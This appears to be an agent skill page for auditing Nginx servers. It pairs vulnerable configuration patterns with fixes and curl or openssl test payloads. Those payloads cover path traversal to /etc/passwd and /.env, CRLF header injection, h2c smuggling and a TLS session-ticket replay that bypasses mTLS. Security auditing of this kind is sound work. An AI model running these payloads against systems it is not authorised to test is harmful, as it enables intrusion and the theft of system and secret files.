# Nginx Pentest

> Audit and test Nginx servers for common misconfigurations and vulnerabilities. Use this skill whenever you need to assess Nginx security, check for LFI vulnerabilities, test for HTTP request splitting, analyze proxy configurations, or identify dangerous directives. Trigger this skill for any Nginx security assessment, configuration review, or penetration testing task involving Nginx web servers.

- Skill: `abelrguezr/nginx-pentest` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/nginx-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/nginx-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/nginx-pentest

---


# Nginx Pentesting Skill

A comprehensive guide for auditing and testing Nginx servers for security vulnerabilities and misconfigurations.

## Quick Start

When testing an Nginx server, follow this workflow:

1. **Reconnaissance** - Identify Nginx version, modules, and configuration exposure
2. **Configuration Analysis** - Check for dangerous directives and misconfigurations
3. **Vulnerability Testing** - Test for specific vulnerabilities with payloads
4. **Remediation** - Provide fixes for identified issues

## Reconnaissance

### Identify Nginx Version and Modules

```bash
# Check version from response headers
curl -I https://target.com | grep -i server

# Check compiled modules (if you have access)
nginx -V 2>&1 | grep -i http_v3

# Check for HTTP/3 support
rg -n "listen .*quic" /etc/nginx/
```

### Check for Configuration Exposure

```bash
# Try to access nginx.conf directly
curl https://target.com/nginx.conf
curl https://target.com/etc/nginx/nginx.conf

# Check for backup files
curl https://target.com/nginx.conf.bak
curl https://target.com/nginx.conf.old
curl https://target.com/nginx.conf~
```

## Common Vulnerabilities

### 1. Missing Root Location

**What to check:** When only specific locations are defined without a root `location /`, the global root directive applies to all requests.

**Vulnerable pattern:**
```nginx
server {
    root /etc/nginx;
    location /hello.txt {
        try_files $uri $uri/ =404;
    }
    # No location / defined - root applies globally!
}
```

**Test:**
```bash
# Try accessing files in the root directory
curl https://target.com/nginx.conf
curl https://target.com/passwd
curl https://target.com/../../../etc/passwd
```

**Fix:**
```nginx
server {
    root /var/www/html;  # Use a safe directory
    location / {
        # Explicitly define root behavior
        try_files $uri $uri/ =404;
    }
}
```

### 2. Alias LFI Misconfiguration

**What to check:** The `alias` directive without trailing slash can enable path traversal.

**Vulnerable pattern:**
```nginx
location /imgs {
    alias /path/images/;  # Missing trailing slash on location
}
```

**Test:**
```bash
# Path traversal attempts
curl https://target.com/imgs../flag.txt
curl https://target.com/imgs/../../../etc/passwd
curl https://target.com/imgs..%2f..%2fetc%2fpasswd

# Check response codes
alias../ => 403 (blocked)
alias.../ => 404 (not found)
alias../../ => 403 (blocked)
```

**Fix:**
```nginx
location /imgs/ {
    alias /path/images/;  # Add trailing slash to location
}
```

### 3. Unsafe Variable Use / HTTP Request Splitting

**What to check:** Using `$uri` instead of `$request_uri` in redirects or proxy_pass can enable CRLF injection.

**Vulnerable patterns:**
```nginx
# Vulnerable - uses $uri
location / {
    return 302 https://example.com$uri;
}

# Vulnerable - in proxy_pass
location ^~ /lite/api/ {
    proxy_pass http://lite-backend$uri$is_args$args;
}

# Vulnerable - regex capture
location ~ /docs/([^/])? {
    # $1 is vulnerable
}
```

**Test:**
```bash
# CRLF injection test
curl -I "https://target.com/%0d%0aX-Injected-Header:%20test"

# Check for header injection
curl -I "https://target.com/%20X"
# Any HTTP code = potentially vulnerable

curl -I "https://target.com/%20H"
# 400 Bad Request = vulnerable (H is not a valid method)

# More aggressive tests
curl -I "https://target.com/%20HTTP/1.1%0D%0AXXXX:%20x"
curl -I "https://target.com/%20HTTP/1.1%0D%0AHost:%20x"
```

**Fix:**
```nginx
# Use $request_uri instead of $uri
location / {
    return 302 https://example.com$request_uri;
}

# Or use safe regex
location ~ /docs/([^/\s])? {
    # $1 is now safe
}
```

### 4. try_files with $uri$args LFI

**What to check:** Using `$uri$args` in try_files can enable path traversal.

**Vulnerable pattern:**
```nginx
location / {
    try_files $uri$args $uri$args/ /index.html;
}
```

**Test:**
```bash
# Path traversal via query string
curl "https://target.com/?../../../../../../../../etc/passwd"
curl "https://target.com/?%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
```

**Fix:**
```nginx
location / {
    try_files $uri $uri/ /index.html;
    # Don't use $args in try_files
}
```

### 5. Unsafe Path Restriction Bypass

**What to check:** Location blocks with `deny all` can sometimes be bypassed.

**Vulnerable pattern:**
```nginx
location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}
```

**Test:**
```bash
# Try various bypasses
curl https://target.com/admin%00
curl https://target.com/admin/
curl https://target.com/admin..%2f
curl https://target.com/admin%20
```

### 6. Raw Backend Response Reading

**What to check:** Invalid HTTP requests bypass proxy_intercept_errors.

**Vulnerable pattern:**
```nginx
http {
    error_page 500 /html/error.html;
    proxy_intercept_errors on;
    proxy_hide_header Secret-Header;
}
```

**Test:**
```bash
# Send malformed request to bypass interception
curl -X GET --path-as-is "https://target.com/invalid\x00request"

# Check for exposed headers
curl -I "https://target.com/" | grep -i secret
```

### 7. merge_slashes Misconfiguration

**What to check:** When `merge_slashes off`, multiple slashes are preserved, potentially bypassing WAFs.

**Test:**
```bash
# Test with double slashes
curl https://target.com//admin
curl https://target.com///etc/passwd
curl https://target.com/admin//config
```

### 8. Malicious Response Headers (X-Accel-*)

**What to check:** Backend can send X-Accel-Redirect headers to force internal redirects.

**Vulnerable pattern:**
```nginx
server {
    root /;  # Dangerous root
    location /api/ {
        proxy_pass http://backend;
    }
}
```

**Test:**
```bash
# Try to trigger X-Accel-Redirect
curl -H "X-Accel-Redirect: /.env" https://target.com/api/test
curl -H "X-Accel-Redirect: /etc/passwd" https://target.com/api/test
```

**Fix:**
```nginx
# Use a safe root directory
server {
    root /var/www/html;
}
```

### 9. Map Directive Without Default

**What to check:** Map directives without default values can bypass authorization.

**Vulnerable pattern:**
```nginx
map $uri $mappocallow {
    /map-poc/private 0;
    /map-poc/secret 0;
    /map-poc/public 1;
    # No default!
}

server {
    location /map-poc {
        if ($mappocallow = 0) {return 403;}
        return 200 "Hello";
    }
}
```

**Test:**
```bash
# Access undefined URI
curl https://target.com/map-poc/undefined
curl https://target.com/map-poc/anything
```

**Fix:**
```nginx
map $uri $mappocallow {
    default 0;  # Add default
    /map-poc/private 0;
    /map-poc/secret 0;
    /map-poc/public 1;
}
```

### 10. DNS Spoofing

**What to check:** External DNS resolvers can be spoofed.

**Vulnerable pattern:**
```nginx
resolver 8.8.8.8;  # External DNS
```

**Fix:**
```nginx
resolver 127.0.0.1;  # Use localhost
```

### 11. h2c Smuggling via Upgrade Headers

**What to check:** Passing Upgrade and Connection headers enables h2c smuggling.

**Vulnerable pattern:**
```nginx
location / {
    proxy_pass http://backend:9999;
    proxy_http_version 1.1;
    proxy_set_header Upgrade $http_upgrade;
    proxy_set_header Connection $http_connection;
}
```

**Test:**
```bash
# Attempt h2c upgrade
curl -H "Connection: Upgrade, HTTP2-Settings" \
     -H "Upgrade: h2c" \
     https://target.com/

# Try to access protected endpoints
curl -H "Connection: Upgrade, HTTP2-Settings" \
     -H "Upgrade: h2c" \
     https://target.com/flag
```

### 12. HTTP/3 QUIC Vulnerabilities (2024)

**What to check:** CVE-2024-31079, CVE-2024-32760, CVE-2024-34161, CVE-2024-35200

**Test:**
```bash
# Check for HTTP/3 support
curl -I https://target.com | grep -i "Alt-Svc: h3"

# Check nginx version
nginx -V 2>&1 | grep -i http_v3

# Check for QUIC socket
rg -n "listen .*quic" /etc/nginx/

# Affected versions: 1.25.0-1.25.5, 1.26.0
# Fixed in: 1.27.0, 1.26.1
```

### 13. TLS Session Resumption Bypass (CVE-2025-23419)

**What to check:** TLS 1.3 session tickets can bypass mTLS.

**Test:**
```bash
# 1. Create session on public vhost
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay on mTLS vhost
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

# If connection succeeds without cert, vulnerable
```

**What to audit:**
- Mixed server_name blocks sharing ssl_session_cache
- Admin/API blocks expecting mTLS with shared session settings

### 14. HTTP/2 Rapid Reset (CVE-2023-44487)

**What to check:** High keepalive_requests or http2_max_concurrent_streams values.

**Test:**
```bash
# Check configuration
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

# Default safe values:
# http2_max_concurrent_streams: 128
# keepalive_requests: 1000
```

## Static Analysis Tools

### Gixy-Next

```bash
# Install and run
pip install gixy-ng
gixy-ng /etc/nginx/nginx.conf
```

### Nginxpwner

```bash
# Clone and run
git clone https://github.com/stark0de/nginxpwner
cd nginxpwner
python nginxpwner.py -u https://target.com
```

## Remediation Checklist

After identifying vulnerabilities, apply these fixes:

- [ ] Set root to safe directory (not /etc/nginx)
- [ ] Add trailing slashes to alias locations
- [ ] Replace $uri with $request_uri in redirects
- [ ] Remove $args from try_files directives
- [ ] Add default values to map directives
- [ ] Use localhost for DNS resolver
- [ ] Remove Upgrade/Connection header passthrough
- [ ] Update Nginx to latest version
- [ ] Isolate TLS session caches per vhost
- [ ] Keep http2_max_concurrent_streams at default (128)
- [ ] Run gixy-ng for automated analysis

## References

- [Detectify Nginx Misconfigurations](https://blog.detectify.com/2020/11/10/common-nginx-misconfigurations/)
- [Vulnerable Nginx Test Server](https://github.com/detectify/vulnerable-nginx)
- [Gixy-Next](https://gixy.io/)
- [Nginxpwner](https://github.com/stark0de/nginxpwner)
- [Nginx Security Advisories](https://mailman.nginx.org/pipermail/nginx-announce/)

